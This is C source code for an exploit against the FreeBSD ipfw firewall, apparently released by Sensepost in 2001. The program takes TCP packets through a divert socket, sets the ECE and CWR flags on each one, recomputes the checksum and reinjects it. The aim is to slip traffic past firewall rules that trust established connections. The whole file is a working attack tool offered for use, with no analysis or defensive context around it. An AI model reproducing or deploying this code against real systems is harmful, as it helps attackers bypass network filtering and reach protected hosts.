/*
 * FreeBSD ipfw + TCP ECE flag exploit.
 * Plathond for Sensepost 2001/01/25
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>

#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <machine/in_cksum.h>
#include <netinet/tcp.h>
#include <netinet/udp.h>
#include <netinet/ip_icmp.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <net/route.h>
#include <arpa/inet.h>

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>

#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <machine/in_cksum.h>
#include <netinet/tcp.h>
#include <netinet/udp.h>
#include <netinet/ip_icmp.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <net/route.h>
#include <arpa/inet.h>

#include <alias.h>
#include <ctype.h>
#include <err.h>
#include <errno.h>
#include <netdb.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <syslog.h>
#include <unistd.h>
#include <ctype.h>
#include <err.h>
#include <errno.h>
#include <netdb.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <syslog.h>
#include <unistd.h>

#define DIVERT_PORT 7000
#define FALSE 0
#define TRUE 1

#define CKSUM_CARRY(x) \
    (x = (x >> 16) + (x & 0xffff), (~(x + (x >> 16)) & 0xffff))

typedef unsigned char Boolean;

static unsigned char pbuf[IP_MAXPACKET];
static unsigned long plen = 0;
static int psock = -1;
static struct sockaddr_in paddr;

/* 
 * These are stolen from libnet.
 */
int in_cksum(u_short *addr, int len)
{
  int sum;
  int nleft;
  u_short ans;
  u_short *w;

  sum = 0;
  ans = 0;
  nleft = len;
  w = addr;
   
  while (nleft > 1) {
    sum += *w++;
    nleft -= 2;
  }
  if (nleft == 1) {
    *(u_char *)(&ans) = *(u_char *)w;
    sum += ans;
  }
  return (sum);
}

void do_cksum(unsigned char *buf, int protocol, int len)
{
  struct ip *ip;
  unsigned long ip_hl = 0;
  unsigned long sum = 0;

  ip = (struct ip *)buf;
  ip_hl = ip->ip_hl << 2;
  
  switch(protocol) {
    case IPPROTO_TCP: {
      struct tcphdr *tcp;

      tcp = (struct tcphdr *)(buf + ip_hl);
      tcp->th_sum = 0;
      sum = in_cksum((u_short *)&(ip->ip_src), 8);
      sum += ntohs(IPPROTO_TCP + len);
      sum += in_cksum((u_short *)tcp, len);
      tcp->th_sum = CKSUM_CARRY(sum);
      break;
    }
    default:
      return;
  }
  return;
}

void flushpacket(int fd)
{
  int nR;
  
  nR = sendto(fd, 
              pbuf,
              plen,
              0,
              (struct sockaddr*) &paddr,
              sizeof(paddr));

  if (nR != plen) {
    if (errno == ENOBUFS)
      return;
    if (errno == EMSGSIZE) {
      fprintf(stderr, "Need to implement frag.\n");
      return;
    }
    else {
      fprintf(stderr, "Failed to write packet.\n");
      return;
    }
  }

  psock = -1;
}

void handle_input(int sock)
{
  int nR = 0;
  int addrsize = 0;
  struct ip *ip;
  Boolean fIsOutput = FALSE;
  unsigned int ip_hl = 0, tcp_hl = 0;
  unsigned int ip_data_len = 0;
  struct tcphdr *tcp = NULL;
  

  addrsize = sizeof(struct sockaddr_in);
  nR = recvfrom(sock, 
                pbuf, sizeof(pbuf), 0,
                (struct sockaddr *)&paddr,
                &addrsize);
  if (nR == -1) {
    if (errno != EINTR) 
      fprintf(stderr, "Warning : recvfrom() failed.\n");
    goto over;
  }
  ip = (struct ip *)pbuf;
  ip_hl = ip->ip_hl << 2;
  
  /* Check if this is input or output */
  if (paddr.sin_addr.s_addr == INADDR_ANY)
    fIsOutput = TRUE;
  else
    fIsOutput = FALSE;

  /* We are only handling TCP packets */
  if (ip->ip_p != IPPROTO_TCP)
    goto over;

  /* Get the TCP header */
  tcp = (struct tcphdr *) (pbuf + ip_hl);
  tcp_hl = tcp->th_off << 2;
  ip_data_len = ntohs(ip->ip_len) - ip_hl;
  /* Sanity check packet length */
  if (ip_data_len <= 0)
    goto over;

  /* Add ECE and CWR flags to TCP header */
  tcp->th_flags |= (0x40 | 0x80);
  /* Compute new checksum */
  do_cksum(pbuf, IPPROTO_TCP, ip_data_len);


  /* Write packet back */
  plen = nR;
  psock = sock;
  flushpacket(sock);

  over:
  return;
}

int main(int argc, char **argv)
{
  int inoutsock = -1;
  fd_set rfs, wfs;
  int fdmax = -1;
  struct sockaddr_in addr;
  int rc;

  /* Create divert sockets */
  if ((inoutsock = socket(PF_INET, SOCK_RAW, IPPROTO_DIVERT)) == -1) {
    fprintf(stderr, "socket() failed, exiting\n");
    exit(1);
  }
  /* Bind socket */
  addr.sin_family = AF_INET;
  addr.sin_addr.s_addr = INADDR_ANY;
  addr.sin_port = ntohs(DIVERT_PORT);

  if (bind(inoutsock, 
           (struct sockaddr*) &addr,
           sizeof(struct sockaddr_in)) == -1) {
    fprintf(stderr, "Unable to bind socket, exiting\n");
    exit(1);
  }
  
  while (1) {
    FD_ZERO(&rfs);
    FD_ZERO(&wfs);
    
    if (psock != -1) 
      FD_SET(psock, &wfs);
    FD_SET(inoutsock, &rfs);

    if (inoutsock > psock)
      fdmax = inoutsock;
    else
      fdmax = psock;

    /* Select loop */
    rc = select(fdmax + 1, &rfs, &wfs, NULL, NULL);
    if (rc == -1) {
      if (errno == EINTR)
        continue;
      fprintf(stderr, "select() failed, exiting\n");
      exit(1);
    }
    /* Check for flush from previous packet */
    if (psock != -1) {
      if (FD_ISSET(psock, &wfs))
        flushpacket(psock);
    }
    /* Do we have input available ? */
    if (FD_ISSET(inoutsock, &rfs)) {
      /* Yip, handle it */
      handle_input(inoutsock);
    }
  }
}